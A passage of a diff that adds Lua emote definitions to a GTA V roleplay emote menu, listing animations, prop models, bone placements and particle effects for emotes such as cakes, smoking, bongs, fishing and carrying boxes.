+ 0.05,
+ 10.0,
+ 0.0,
+ 0.0
+ },
+ SecondProp = 'prop_pencil_01',
+ SecondPropBone = 58866,
+ SecondPropPlacement = {
+ 0.11,
+ -0.02,
+ 0.001,
+ -120.0,
+ 0.0,
+ 0.0
+ },
+ -- EmoteLoop is used for emotes that should loop, its as simple as that.
+ -- Then EmoteMoving is used for emotes that should only play on the upperbody.
+ -- The code then checks both values and sets the MovementType to the correct one
+ EmoteLoop = true,
+ EmoteMoving = true
+ }
+ },
+ ["box"] = {
+ "anim@heists@box_carry@",
+ "idle",
+ "Box",
+ AnimationOptions = {
+ Prop = "hei_prop_heist_box",
+ PropBone = 60309,
+ PropPlacement = {
+ 0.025,
+ 0.08,
+ 0.255,
+ -145.0,
+ 290.0,
+ 0.0
+ },
+ EmoteLoop = true,
+ EmoteMoving = true
+ }
+ },
+ ["gift"] = {
+ "hold_flowers@dad", --- Custom Animation By Darks Animations
+ "hold_flowers_clip",
+ "Gift",
+ AnimationOptions = {
+ Prop = 'bzzz_prop_gift_orange',
+ PropBone = 60309,
+ PropPlacement = {
+ 0.0180,
+ 0.0390,
+ 0.1160,
+ -82.4097,
+ -157.5768,
+ -27.6738
+ },
+ EmoteMoving = true
+ }
+ },
+ ["gift2"] = {
+ "hold_flowers@dad", --- Custom Animation By Darks Animations
+ "hold_flowers_clip",
+ "Gift 2",
+ AnimationOptions = {
+ Prop = 'bzzz_prop_gift_purple',
+ PropBone = 60309,
+ PropPlacement = {
+ 0.0180,
+ 0.0390,
+ 0.1160,
+ -82.4097,
+ -157.5768,
+ -27.6738
+ },
+ EmoteMoving = true
+ }
+ },
+ ["k12saw"] = {
+ "anim@heists@fleeca_bank@drilling",
+ "drill_straight_end",
+ "Firefighter K12 Saw",
+ AnimationOptions = {
+ Prop = "prop_tool_consaw",
+ PropBone = 28422,
+ PropPlacement = {
+ 0.0,
+ 0.0900,
+ 0.0500,
+ -70.3009797,
+ 71.0092017,
+ 83.759421
+ },
+ EmoteLoop = true,
+ EmoteMoving = true,
+ PtfxAsset = "scr_paletoscore",
+ PtfxName = "scr_paleto_box_sparks",
+ PtfxNoProp = true,
+ PtfxPlacement = {
+ 0.20,
+ 0.88,
+ 0.25,
+ 0.0,
+ 90.0,
+ 180.0,
+ 1.1
+ },
+ PtfxInfo = Translate('cut'),
+ PtfxWait = 0.8,
+ PtfxCanHold = false -- we set this to false, but yet it allows us to hold, which is the OPPOSITE of what it claims to do!? HUH!?? AVANOX!!
+ }
+ },
+ ["carryextinguisher"] = {
+ "amb@lo_res_idles@",
+ "world_human_musician_bongos_lo_res_base",
+ "Firefighter Extinguisher",
+ AnimationOptions = {
+ Prop = "prop_fire_exting_1a",
+ PropBone = 28422,
+ PropPlacement = {
+ 0.1500,
+ 0.1400,
+ -0.5200,
+ 179.7874004,
+ -178.5954846,
+ 4.5961806
+ },
+ EmoteLoop = true,
+ EmoteMoving = true,
+ }
+ },
+ ["maskup"] = {
+ "anim@mp_helmets@on_foot",
+ "visor_up",
+ "Firefighter Unmask",
+ AnimationOptions = {
+ EmoteDuration = 800, --- Even with EmoteLoop = false, this emote still loops, so we add a duration to force it to stop after a set amount of milliseconds.
+ EmoteMoving = true,
+ }
+ },
+ ["maskdown"] = {
+ "anim@mp_helmets@on_foot",
+ "visor_down",
+ "Firefighter Mask",
+ AnimationOptions = {
+ EmoteDuration = 800, --- Even with EmoteLoop = false, this emote still loops, so we add a duration to force it to stop after a set amount of milliseconds.
+ EmoteMoving = true,
+ }
+ },
+ ["adjustbag"] = {
+ "amb@world_human_hiker_standing@male@idle_a",
+ "idle_b",
+ "Firefighter Adjust Tank / Bag",
+ AnimationOptions = {
+ EmoteMoving = true,
+ EmoteDuration = 9500
+ }
+ },
+ ["adjustpanel"] = {
+ "anim@scripted@heist@ig9_control_tower@male@",
+ "loop",
+ "Firefighter Pump PSI",
+ AnimationOptions = {
+ EmoteLoop = true,
+ EmoteMoving = true
+ }
+ },
+ ["cake"] = { --- Custom Prop & Emote By BzZzi
+ "anim@heists@box_carry@",
+ "idle",
+ "Birthday Cake",
+ AnimationOptions = {
+ Prop = 'bzzz_prop_cake_birthday_001',
+ PropBone = 18905,
+ PropPlacement = {
+ 0.33,
+ 0.09,
+ 0.2,
+ -128.0,
+ -245.0,
+ 2.0
+ },
+ EmoteMoving = true
+ }
+ },
+ ["cake2"] = { --- Custom Prop & Emote By BzZzi
+ "anim@heists@box_carry@",
+ "idle",
+ "Baby Cake",
+ AnimationOptions = {
+ Prop = 'bzzz_prop_cake_baby_001',
+ PropBone = 18905,
+ PropPlacement = {
+ 0.33,
+ 0.09,
+ 0.2,
+ -94.0,
+ -162.0,
+ -44.0
+ },
+ EmoteMoving = true
+ }
+ },
+ ["cake3"] = { --- Custom Prop & Emote By BzZzi
+ "anim@heists@box_carry@",
+ "idle",
+ "Casino Cake",
+ AnimationOptions = {
+ Prop = 'bzzz_prop_cake_casino001',
+ PropBone = 18905,
+ PropPlacement = {
+ 0.33,
+ 0.09,
+ 0.2,
+ -54.0,
+ -72.0,
+ -6.0
+ },
+ EmoteMoving = true
+ }
+ },
+ ["cake4"] = { --- Custom Prop & Emote By BzZzi
+ "anim@heists@box_carry@",
+ "idle",
+ "Love Cake",
+ AnimationOptions = {
+ Prop = 'bzzz_prop_cake_love_001',
+ PropBone = 18905,
+ PropPlacement = {
+ 0.28,
+ 0.06,
+ 0.2,
+ -54.0,
+ -72.0,
+ -6.0
+ },
+ EmoteMoving = true
+ }
+ },
+ ["cake5"] = {
+ "anim@heists@box_carry@",
+ "idle",
+ "Unicorn Cake",
+ AnimationOptions = { -- Custom Prop By PataMods
+ Prop = 'pata_cake',
+ PropBone = 28422,
+ PropPlacement = {
+ 0.0,
+ -0.0700,
+ -0.0400,
+ 10.0000,
+ 0.0000,
+ 0.0000
+ },
+ EmoteMoving = true
+ }
+ },
+ ["cake6"] = {
+ "anim@heists@box_carry@",
+ "idle",
+ "Pride Cake",
+ AnimationOptions = { -- Custom Prop By PataMods
+ Prop = 'pata_cake2',
+ PropBone = 28422,
+ PropPlacement = {
+ 0.0,
+ -0.0700,
+ -0.0400,
+ 10.0000,
+ 0.0000,
+ 0.0000
+ },
+ EmoteMoving = true
+ }
+ },
+ ["cake7"] = { -- Custom Prop By PataMods
+ "anim@heists@box_carry@",
+ "idle",
+ "Chocolate Mud Cake",
+ AnimationOptions = {
+ Prop = 'pata_cake3',
+ PropBone = 28422,
+ PropPlacement = {
+ -0.0100,
+ -0.0390,
+ -0.0800,
+ 10.0000,
+ 0.0000,
+ 0.0000
+ },
+ EmoteMoving = true
+ }
+ },
+ ["cakew"] = {
+ "anim@move_f@waitress",
+ "idle",
+ "Cake Waiter - Birthday",
+ AnimationOptions = {
+ Prop = "bzzz_prop_cake_birthday_001",
+ PropBone = 28422,
+ PropPlacement = {
+ 0.0,
+ 0.0,
+ 0.0100,
+ 0.0,
+ 0.0,
+ 0.0
+ },
+ EmoteLoop = true,
+ EmoteMoving = true
+ }
+ },
+ ["cakew2"] = { --- Custom Prop & Emote By BzZzi
+ "anim@move_f@waitress",
+ "idle",
+ "Cake Waiter - Baby",
+ AnimationOptions = {
+ Prop = "bzzz_prop_cake_baby_001",
+ PropBone = 28422,
+ PropPlacement = {
+ 0.0,
+ 0.0,
+ 0.0100,
+ 0.0,
+ 0.0,
+ 80.0
+ },
+ EmoteLoop = true,
+ EmoteMoving = true
+ }
+ },
+ ["cakew3"] = { --- Custom Prop & Emote By BzZzi
+ "anim@move_f@waitress",
+ "idle",
+ "Cake Waiter - Casino",
+ AnimationOptions = {
+ Prop = "bzzz_prop_cake_casino001",
+ PropBone = 28422,
+ PropPlacement = {
+ 0.0,
+ 0.0,
+ 0.0100,
+ 0.0,
+ 0.0,
+ -160.0
+ },
+ EmoteLoop = true,
+ EmoteMoving = true
+ }
+ },
+ ["cakew4"] = { --- Custom Prop & Emote By BzZzi
+ "anim@move_f@waitress",
+ "idle",
+ "Cake Waiter - Love",
+ AnimationOptions = {
+ Prop = "bzzz_prop_cake_love_001",
+ PropBone = 28422,
+ PropPlacement = {
+ 0.0,
+ 0.0,
+ 0.0100,
+ 0.0,
+ 0.0,
+ 180.0
+ },
+ EmoteLoop = true,
+ EmoteMoving = true
+ }
+ },
+ ["cakew5"] = {
+ "anim@move_f@waitress",
+ "idle",
+ "Cake Waiter - Unicorn",
+ AnimationOptions = {
+ Prop = "pata_cake",
+ PropBone = 28422,
+ PropPlacement = {
+ 0.0,
+ 0.0,
+ 0.1100,
+ 0.0,
+ 0.0,
+ 30.0
+ },
+ EmoteLoop = true,
+ EmoteMoving = true
+ }
+ },
+ ["cakew6"] = {
+ "anim@move_f@waitress",
+ "idle",
+ "Cake Waiter - Pride",
+ AnimationOptions = {
+ Prop = "pata_cake2",
+ PropBone = 28422,
+ PropPlacement = {
+ 0.0000,
+ 0.0000,
+ 0.1100,
+ 0.0,
+ 0.0,
+ 20.0
+ },
+ EmoteLoop = true,
+ EmoteMoving = true
+ }
+ },
+ ["cakew7"] = { --- Custom Prop & Emote By BzZzi
+ "anim@move_f@waitress",
+ "idle",
+ "Cake Waiter - Chocolate Mud",
+ AnimationOptions = {
+ Prop = "pata_cake3",
+ PropBone = 28422,
+ PropPlacement = {
+ 0.0,
+ 0.0,
+ 0.1100,
+ 0.0,
+ 0.0,
+ 30.0
+ },
+ EmoteLoop = true,
+ EmoteMoving = true
+ }
+ },
+ ["rose"] = {
+ "anim@heists@humane_labs@finale@keycards",
+ "ped_a_enter_loop",
+ "Rose",
+ AnimationOptions = {
+ Prop = "prop_single_rose",
+ PropBone = 18905,
+ PropPlacement = {
+ 0.13,
+ 0.15,
+ 0.0,
+ -100.0,
+ 0.0,
+ -20.0
+ },
+ EmoteLoop = true,
+ EmoteMoving = true
+ }
+ },
+ ["dollar"] = {
+ "anim@heists@humane_labs@finale@keycards",
+ "ped_a_enter_loop",
+ "Dollar",
+ AnimationOptions = {
+ Prop = "p_banknote_onedollar_s",
+ PropBone = 60309,
+ PropPlacement = {
+ -0.0020,
+ -0.0030,
+ 0.0320,
+ 82.2434,
+ -106.9746,
+ 1.3733
+ },
+ EmoteLoop = true,
+ EmoteMoving = true
+ }
+ },
+ ["balloon"] = {
+ "anim@heists@humane_labs@finale@keycards",
+ "ped_a_enter_loop",
+ "Balloon",
+ AnimationOptions = {
+ Prop = "heart_balloon",
+ PropBone = 60309,
+ PropPlacement = {
+ 0.25,
+ -0.84,
+ 0.53,
+ -157.2041,
+ -101.1702,
+ 28.0243
+ },
+ EmoteStuck = true,
+ EmoteLoop = true,
+ EmoteMoving = true
+ }
+ },
+ ["balloon2"] = {
+ "anim@heists@humane_labs@finale@keycards",
+ "ped_a_enter_loop",
+ "Balloon 2 - Pride",
+ AnimationOptions = {
+ Prop = "pride_heart_balloon",
+ PropBone = 60309,
+ PropPlacement = {
+ 1.0600,
+ 0.4900,
+ 0.0140,
+ 73.5103,
+ -30.9638,
+ 19.3946
+ },
+ EmoteStuck = true,
+ EmoteLoop = true,
+ EmoteMoving = true
+ }
+ },
+ ["smoke2"] = {
+ "amb@world_human_aa_smoke@male@idle_a",
+ "idle_c",
+ "Smoke 2",
+ AnimationOptions = {
+ Prop = 'ng_proc_cigarette01a',
+ PropBone = 28422,
+ PropPlacement = {
+ 0.0,
+ 0.0,
+ 0.0,
+ 0.0,
+ 0.0,
+ 0.0
+ },
+ EmoteLoop = true,
+ EmoteMoving = true,
+ PtfxAsset = "scr_mp_cig",
+ PtfxName = "ent_anim_cig_smoke",
+ PtfxNoProp = false,
+ PtfxPlacement = {
+ -0.07,
+ 0.0,
+ 0.0,
+ 0.0,
+ 0.0,
+ 0.0,
+ 1.0
+ },
+ PtfxInfo = Translate('smoke'),
+ PtfxWait = 0.8,
+ PtfxCanHold = true
+ }
+ },
+ ["smoke3"] = {
+ "amb@world_human_aa_smoke@male@idle_a",
+ "idle_b",
+ "Smoke 3",
+ AnimationOptions = {
+ Prop = 'ng_proc_cigarette01a',
+ PropBone = 28422,
+ PropPlacement = {
+ 0.0,
+ 0.0,
+ 0.0,
+ 0.0,
+ 0.0,
+ 0.0
+ },
+ EmoteLoop = true,
+ EmoteMoving = true,
+ PtfxAsset = "scr_mp_cig",
+ PtfxName = "ent_anim_cig_smoke",
+ PtfxNoProp = false,
+ PtfxPlacement = {
+ -0.07,
+ 0.0,
+ 0.0,
+ 0.0,
+ 0.0,
+ 0.0,
+ 1.0
+ },
+ PtfxInfo = Translate('smoke'),
+ PtfxWait = 0.8,
+ PtfxCanHold = true
+ }
+ },
+ ["smoke4"] = {
+ "amb@world_human_smoking@female@idle_a",
+ "idle_b",
+ "Smoke 4",
+ AnimationOptions = {
+ Prop = 'ng_proc_cigarette01a',
+ PropBone = 28422,
+ PropPlacement = {
+ 0.0,
+ 0.0,
+ 0.0,
+ 0.0,
+ 0.0,
+ 0.0
+ },
+ EmoteLoop = true,
+ EmoteMoving = true,
+ PtfxAsset = "scr_mp_cig",
+ PtfxName = "ent_anim_cig_smoke",
+ PtfxNoProp = false,
+ PtfxPlacement = {
+ -0.07,
+ 0.0,
+ 0.0,
+ 0.0,
+ 0.0,
+ 0.0,
+ 1.0
+ },
+ PtfxInfo = Translate('smoke'),
+ PtfxWait = 0.8,
+ PtfxCanHold = true
+ }
+ },
+ ["smoke5"] = { --- Custom Emote Provided To RPEmotes By Mr Witt
+ "mrwitt@composed_photo_moments",
+ "mrwitt",
+ "Smoke 5",
+ AnimationOptions = {
+ Prop = 'ng_proc_cigarette01a',
+ PropBone = 64097,
+ PropPlacement = {
+ 0.0020,
+ 0.0010,
+ -0.0090,
+ 0.0,
+ 0.0,
+ 50.0
+ },
+ EmoteLoop = true,
+ EmoteMoving = false,
+ PtfxAsset = "scr_mp_cig",
+ PtfxName = "ent_anim_cig_smoke",
+ PtfxNoProp = false,
+ PtfxPlacement = {
+ -0.07,
+ 0.0,
+ 0.0,
+ 0.0,
+ 0.0,
+ 0.0,
+ 1.0
+ },
+ PtfxInfo = Translate('smoke'),
+ PtfxWait = 0.8,
+ PtfxCanHold = true
+ }
+ },
+ ["vape"] = {
+ "amb@world_human_smoking@male@male_b@base",
+ "base",
+ "Vape",
+ AnimationOptions = {
+ Prop = 'ba_prop_battle_vape_01',
+ PropBone = 28422,
+ PropPlacement = {
+ -0.0290,
+ 0.0070,
+ -0.0050,
+ 91.0,
+ 270.0,
+ -360.0
+ },
+ EmoteMoving = true,
+ EmoteLoop = true,
+ PtfxAsset = "scr_agencyheistb",
+ PtfxName = "scr_agency3b_elec_box",
+ PtfxNoProp = true,
+ PtfxBone = 31086,
+ PtfxPlacement = {
+ 0.0,
+ 0.170,
+ 0.0,
+ 0.0,
+ 0.0,
+ 0.0,
+ 1.4
+ },
+ PtfxInfo = Translate('vape'),
+ PtfxWait = 0.8,
+ PtfxCanHold = true
+ }
+ },
+ ["vape2"] = {
+ "amb@world_human_smoking@male@male_b@base",
+ "base",
+ "Vape 2",
+ AnimationOptions = {
+ Prop = 'xm3_prop_xm3_vape_01a',
+ PropBone = 28422,
+ PropPlacement = {
+ -0.02,
+ -0.02,
+ 0.02,
+ 58.0,
+ 110.0,
+ 10.0
+ },
+ EmoteMoving = true,
+ EmoteLoop = true,
+ PtfxAsset = "scr_agencyheistb",
+ PtfxName = "scr_agency3b_elec_box",
+ PtfxNoProp = true,
+ PtfxBone = 31086,
+ PtfxPlacement = {
+ 0.0,
+ 0.170,
+ 0.0,
+ 0.0,
+ 0.0,
+ 0.0,
+ 1.4
+ },
+ PtfxInfo = Translate('vape'),
+ PtfxWait = 1.8,
+ PtfxCanHold = true
+ }
+ },
+ ["bong"] = {
+ "anim@safehouse@bong",
+ "bong_stage3",
+ "Bong",
+ AnimationOptions = {
+ Prop = 'hei_heist_sh_bong_01',
+ PropBone = 18905,
+ PropPlacement = {
+ 0.10,
+ -0.25,
+ 0.0,
+ 95.0,
+ 190.0,
+ 180.0
+ },
+ EmoteLoop = true,
+ EmoteMoving = true,
+ PtfxAsset = "scr_agencyheistb",
+ PtfxName = "scr_agency3b_elec_box",
+ PtfxNoProp = true,
+ PtfxBone = 31086,
+ PtfxPlacement = {
+ 0.0,
+ 0.170,
+ 0.0,
+ 0.0,
+ 0.0,
+ 0.0,
+ 1.4
+ },
+ PtfxInfo = Translate('vape'),
+ PtfxWait = 0.8,
+ PtfxCanHold = true
+ }
+ },
+ ["bong2"] = {
+ "anim@safehouse@bong",
+ "bong_stage3",
+ "Bong 2",
+ AnimationOptions = {
+ Prop = 'xm3_prop_xm3_bong_01a',
+ PropBone = 18905,
+ PropPlacement = {
+ 0.10,
+ -0.25,
+ 0.0,
+ 95.0,
+ 190.0,
+ 180.0
+ },
+ EmoteLoop = true,
+ EmoteMoving = true,
+ PtfxAsset = "scr_agencyheistb",
+ PtfxName = "scr_agency3b_elec_box",
+ PtfxNoProp = true,
+ PtfxBone = 31086,
+ PtfxPlacement = {
+ 0.0,
+ 0.170,
+ 0.0,
+ 0.0,
+ 0.0,
+ 0.0,
+ 1.4
+ },
+ PtfxInfo = Translate('vape'),
+ PtfxWait = 0.8,
+ PtfxCanHold = true
+ }
+ },
+ ["bong3"] = {
+ "sit_bong@dark",
+ "sit_bong_clip",
+ "Bong 3 - Sit & Rip",
+ AnimationOptions = {
+ Prop = 'hei_heist_sh_bong_01',
+ PropBone = 60309,
+ PropPlacement = {
+ 0.0490,
+ -0.2000,
+ 0.0800,
+ -85.0199,
+ 102.3320,
+ -15.0085
+ },
+ EmoteLoop = true,
+ ExitEmote = "getup",
+ ExitEmoteType = "Exits",
+ PtfxAsset = "scr_agencyheistb",
+ PtfxName = "scr_agency3b_elec_box",
+ PtfxNoProp = true,
+ PtfxBone = 31086,
+ PtfxPlacement = {
+ 0.0,
+ 0.170,
+ 0.0,
+ 0.0,
+ 0.0,
+ 0.0,
+ 1.4
+ },
+ PtfxInfo = Translate('vape'),
+ PtfxWait = 0.8,
+ PtfxCanHold = true
+ }
+ },
+ ["bong4"] = {
+ "sit_bong@dark",
+ "sit_bong_clip",
+ "Bong 4 - Sit & Rip Purple",
+ AnimationOptions = {
+ Prop = 'xm3_prop_xm3_bong_01a',
+ PropBone = 60309,
+ PropPlacement = {
+ 0.0490,
+ -0.2000,
+ 0.0800,
+ -85.0199,
+ 102.3320,
+ -15.0085
+ },
+ EmoteLoop = true,
+ ExitEmote = "getup",
+ ExitEmoteType = "Exits",
+ PtfxAsset = "scr_agencyheistb",
+ PtfxName = "scr_agency3b_elec_box",
+ PtfxNoProp = true,
+ PtfxBone = 31086,
+ PtfxPlacement = {
+ 0.0,
+ 0.170,
+ 0.0,
+ 0.0,
+ 0.0,
+ 0.0,
+ 1.4
+ },
+ PtfxInfo = Translate('vape'),
+ PtfxWait = 0.8,
+ PtfxCanHold = true
+ }
+ },
+ ["joint2"] = { --- Custom Emote Provided To RPEmotes By Sel of Darks Animations
+ "smoke_m@sel",
+ "smoke_m_clip",
+ "Pass The Blunt",
+ AnimationOptions = {
+ Prop = 'p_cs_joint_01',
+ PropBone = 26612,
+ PropPlacement = {
+ 0.0540,
+ -0.0120,
+ 0.0480,
+ 172.3040,
+ -131.4506,
+ 45.1778
+ },
+ EmoteLoop = true,
+ EmoteMoving = true,
+ PtfxAsset = "scr_mp_cig",
+ PtfxName = "ent_anim_cig_smoke",
+ PtfxNoProp = false,
+ PtfxPlacement = {
+ -0.07,
+ 0.0,
+ 0.0,
+ 0.0,
+ 0.0,
+ 0.0,
+ 1.0
+ },
+ PtfxInfo = Translate('smoke'),
+ PtfxWait = 0.5,
+ PtfxCanHold = true
+ }
+ },
+ ["fishing1"] = {
+ "amb@world_human_stand_fishing@idle_a",
+ "idle_a",
+ "Fishing 1",
+ AnimationOptions = {
+ Prop = 'prop_fishing_rod_01',
+ PropBone = 60309,
+ PropPlacement = {
+ 0.0,
+ 0.0,
+ 0.0,
+ 0.0,
+ 0.0,
+ 0.0
+ },
+ EmoteLoop = true,
+ EmoteMoving = false
+ }
+ },
+ ["fishing2"] = {
+ "amb@world_human_stand_fishing@idle_a",
+ "idle_b",
+ "Fishing 2",
+ AnimationOptions = {
+ Prop = 'prop_fishing_rod_01',
+ PropBone = 60309,
+ PropPlacement = {
+ 0.0,
+ 0.0,
+ 0.0,
+ 0.0,
+ 0.0,
+ 0.0
+ },
+ EmoteLoop = true,
+ EmoteMoving = false
+ }
+ },
+ ["fishing3"] = {
+ "amb@world_human_stand_fishing@idle_a",
+ "idle_c",
+ "Fishing 3",
+ AnimationOptions = {
+ Prop = 'prop_fishing_rod_01',
+ PropBone = 60309,
+ PropPlacement = {
+ 0.0,
+ 0.0,
+ 0.0,
+ 0.0,
+ 0.0,
+ 0.0
+ },
+ EmoteLoop = true,
+ EmoteMoving = false
+ }
+ },
+ ["icefishing"] = { -- Custom Emote By EP
+ "timetable@ron@ig_3_couch",
+ "base",
+ "Ice Fishing",
+ AnimationOptions = {
+ Prop = 'pprp_icefishing_box_02',
+ PropBone = 0,
+ PropPlacement = {
+ -0.05,
+ 0.0,
+ -0.63,
+ 7.0,
+ 0.0,
+ 180.0
+ },
+ EmoteLoop = true,
+ EmoteMoving = false
+ }
+ },
+ ["icefishing2"] = { -- Custom Emote By EP
+ "move_weapon@jerrycan@generic",
+ "idle",
+ "Ice Fishing 2",
+ AnimationOptions = {
+ Prop = 'pprp_icefishing_box_01',
+ PropBone = 28422,
+ PropPlacement = {
+ -0.8,
+ 0.03,
+ 0.04,
+ 0.0,
+ -90.0,
+ 100.0
+ },
+ SecondProp = 'pprp_icefishing_augur',
+ SecondPropBone = 24818,
+ SecondPropPlacement = {
+ -0.8,
+ -0.2,
+ 0.0,
+ 0.0,
+ 90.0,
+ 0.0
+ },
+ EmoteLoop = true,
+ EmoteMoving = false
+ }
+ },
+ ["suitcase"] = {
+ "move_weapon@jerrycan@generic",
+ "idle",
+ "Suitcase",
+ AnimationOptions = {
+ Prop = "prop_ld_suitcase_01",
+ PropBone = 57005,
+ PropPlacement = {
+ 0.35,
+ 0.0,
+ 0.0,
+ 0.0,
+ 266.0,
+ 90.0
+ },
+ EmoteLoop = true,
+ EmoteMoving = true
+ }
+ },
+ ["suitcase2"] = {
+ "move_weapon@jerrycan@generic",
+ "idle",
+ "Suitcase 2",
+ AnimationOptions = {
+ Prop = "prop_security_case_01",
+ PropBone = 57005,
+ PropPlacement = {
+ 0.13,
+ 0.0,
+ -0.01,
+ 0.0,
+ 280.0,
+ 90.0
+ },
+ EmoteLoop = true,
+ EmoteMoving = true
+ }
+ },
+ ["boombox"] = {
+ "move_weapon@jerrycan@generic",
+ "idle",
+ "Boombox",
+ AnimationOptions = {
+ Prop = "prop_boombox_01",
+ PropBone = 57005,
+ PropPlacement = {
+ 0.27,
+ 0.0,
+ 0.0,
+ 0.0,
+ 263.0,
+ 58.0
+ },
+ EmoteLoop = true,
+ EmoteMoving = true
+ }
+ },
+ ["boombox2"] = {
+ "molly@boombox1",
+ "boombox1_clip",
+ "Boombox 2",
+ AnimationOptions = {
+ Prop = "prop_cs_sol_glasses",
+ PropBone = 31086,
+ PropPlacement = {
+ 0.0440,
+ 0.0740,
+ 0.0000,
+ -160.9843,
+ -88.7288,
+ -0.6197
+ },
+ SecondProp = 'prop_ghettoblast_02',
+ SecondPropBone = 10706,
+ SecondPropPlacement = {
+ -0.2310,
+ -0.0770,
+ 0.2410,
+ -179.7256,
+ 176.7406,
+ 23.0190
+ },
+ EmoteLoop = true,
+ EmoteMoving = true
+ }
+ },
+ ["toolbox"] = {
+ "move_weapon@jerrycan@generic",
+ "idle",
+ "Toolbox",
+ AnimationOptions = {
+ Prop = "prop_tool_box_04",
+ PropBone = 28422,
+ PropPlacement = {
+ 0.3960,
+ 0.0410,
+ -0.0030,
+ -90.00,
+ 0.0,
+ 90.00
+ },
+ EmoteLoop = true,
+ EmoteMoving = true
+ }
+ },
+ ["toolbox2"] = {
+ "move_weapon@jerrycan@generic",
+ "idle",
+ "Toolbox 2",
+ AnimationOptions = {
+ Prop = "imp_prop_tool_box_01a",
+ PropBone = 28422,
+ PropPlacement = {
+ 0.3700,
+ 0.0200,
+ 0.0,
+ 90.00,
+ 0.0,
+ -90.00
+ },
+ EmoteLoop = true,
+ EmoteMoving = true
+ }
+ },
+ ["toolbox3"] = {
+ "move_weapon@jerrycan@generic",
+ "idle",
+ "Toolbox 3",
+ AnimationOptions = {
+ Prop = "xm3_prop_xm3_tool_box_01a",
+ PropBone = 28422,
+ PropPlacement = {
+ 0.3700,
+ 0.0200,
+ 0.0,
+ 90.00,
+ 0.0,
+ -90.00
+ },
+ EmoteLoop = true,
+ EmoteMoving = true
+ }
+ },
+ ["toolbox4"] = {
+ "move_weapon@jerrycan@generic",
+ "idle",
+ "Toolbox 4",
+ AnimationOptions = {
+ Prop = "xm3_prop_xm3_tool_box_02a",
+ PropBone = 28422,
+ PropPlacement = {
+ 0.3700,
+ 0.0200,
+ 0.0,
+ 90.00,
+ 0.0,
+ -90.00
+ },
+ EmoteLoop = true,
+ EmoteMoving = true
+ }
+ },
+ ["cashbox"] = {
+ "move_weapon@jerrycan@generic",
+ "idle",
+ "Cash Box",
+ AnimationOptions = {
+ Prop = "m23_1_prop_m31_cashbox_01a",
+ PropBone = 28422,
+ PropPlacement = {
+ 0.0550,
+ 0.0090,
+ -0.0100,
+ 90.00,
+ 0.0,
+ -81.0000
+ },
+ EmoteLoop = true,
+ EmoteMoving = true
+ }
+ },
+ ["gbag"] = {
+ "missfbi4prepp1",
+ "_idle_garbage_man",
+ "Garbage Bag",
+ AnimationOptions = {
+ Prop = "prop_cs_street_binbag_01",
+ PropBone = 28422,
+ PropPlacement = {
+ 0.0,
+ 0.0400,
+ -0.0200,
+ 0.0,
+ 0.0,
+ 0.0
+ },
+ EmoteLoop = true,
+ EmoteMoving = true
+ }
+ },
+ ["beerbox"] = {
+ "move_weapon@jerrycan@generic",
+ "idle",
+ "Beer Box 1",
+ AnimationOptions = {
+ Prop = "v_ret_ml_beerdus",
+ PropBone = 57005,
+ PropPlacement = {
+ 0.22,
+ 0.0,
+ 0.0,
+ 0.0,
+ 266.0,
+ 48.0
+ },
+ EmoteLoop = true,
+ EmoteMoving = true
+ }
+ },
+ ["beerbox2"] = {
+ "move_weapon@jerrycan@generic",
+ "idle",
+ "Beer Box 2",
+ AnimationOptions = {
+ Prop = "v_ret_ml_beeram",
+ PropBone = 57005,
+ PropPlacement = {
+ 0.22,
+ 0.0,
+ 0.0,
+ 0.0,
+ 266.0,
+ 48.0
+ },
+ EmoteLoop = true,
+ EmoteMoving = true
+ }
+ },
+ ["beerbox3"] = {
+ "move_weapon@jerrycan@generic",
+ "idle",
+ "Beer Box 3",
+ AnimationOptions = {
+ Prop = "v_ret_ml_beerpride",
+ PropBone = 57005,
+ PropPlacement = {
+ 0.22,
+ 0.0,
+ 0.0,
+ 0.0,
+ 266.0,
+ 48.0
+ },
+ EmoteLoop = true,
+ EmoteMoving = true
+ }
+ },
+ ["beerbox4"] = {
+ "move_weapon@jerrycan@generic",
+ "idle",
+ "Beer Box 4",
+ AnimationOptions = {
+ Prop = "v_ret_ml_beerbar",
+ PropBone = 57005,
+ PropPlacement = {
+ 0.22,
+ 0.0,
+ 0.0,
+ 0.0,
+ 266.0,
+ 60.0
+ },
+ EmoteLoop = true,
+ EmoteMoving = true
+ }
+ },
+ ["mugshot"] = {
+ "mp_character_creation@customise@male_a",
+ "loop",
+ "Mugshot",
+ AnimationOptions = {
+ Prop = 'prop_police_id_board',
+ PropBone = 58868,
+ PropPlacement = {
+ 0.12,
+ 0.24,
+ 0.0,
+ 5.0,
+ 0.0,
+ 70.0
+ },
+ EmoteLoop = true,
+ EmoteMoving = true
+ }
+ },
+ ["coffee"] = {
+ "amb@world_human_drinking@coffee@male@idle_a",
+ "idle_c",
+ "Coffee",
+ AnimationOptions = {
+ Prop = 'p_amb_coffeecup_01',
+ PropBone = 28422,
+ PropPlacement = {
+ 0.0,
+ 0.0,
+ 0.0,
+ 0.0,
+ 0.0,
+ 0.0
+ },
+ EmoteLoop = true,
+ EmoteMoving = true
+ }
+ },
+ ["coffeecall"] = {
+ "switch@michael@coffee_w_dave",
+ "002291_02_fbi_3_coffee_w_dave_idle_dave",
+ "Coffee Phone Call",
+ AnimationOptions = {
+ Prop = 'p_ing_coffeecup_01',
+ PropBone = 28422,
+ PropPlacement = {
+ 0.0,
+ 0.0,
+ -0.0140,
+ 0.0,
+ 0.0,
+ 90.0
+ },
+ SecondProp = 'prop_phone_taymckenzienz',
+ PropTextureVariations = {
+ {Name = "Blue", Value = 0},
+ {Name = "Green", Value = 1},
+ {Name = "Dark Red", Value = 2},
+ {Name = "Orange", Value = 3},
+ {Name = "Grey", Value = 4},
+ {Name = "Purple", Value = 5},
+ {Name = "Pink", Value = 6},
+ {Name = "Black", Value = 7},
+ },
+ SecondPropBone = 60309,
+ SecondPropPlacement = {
+ 0.0,
+ 0.0,
+ 0.0,
+ 0.0,
+ 0.0
+ },
+ EmoteLoop = true,
+ EmoteMoving = true
+ }
+ },
+ ["whiskey"] = {
+ "amb@world_human_drinking@coffee@male@idle_a",
+ "idle_c",
+ "Whiskey",
+ AnimationOptions = {
+ Prop = 'prop_drink_whisky',
+ PropBone = 28422,
+ PropPlacement = {
+ 0.01,
+ -0.01,
+ -0.06,
+ 0.0,
+ 0.0,
+ 0.0
+ },
+ EmoteLoop = true,
+ EmoteMoving = true
+ }
+ },
+ ["whiskeyb"] = {
+ "amb@world_human_drinking@beer@male@idle_a",
+ "idle_a",
+ "Whiskey Bottle",
+ AnimationOptions = {
+ Prop = 'ba_prop_battle_whiskey_bottle_2_s',
+ PropBone = 28422,
+ PropPlacement = {
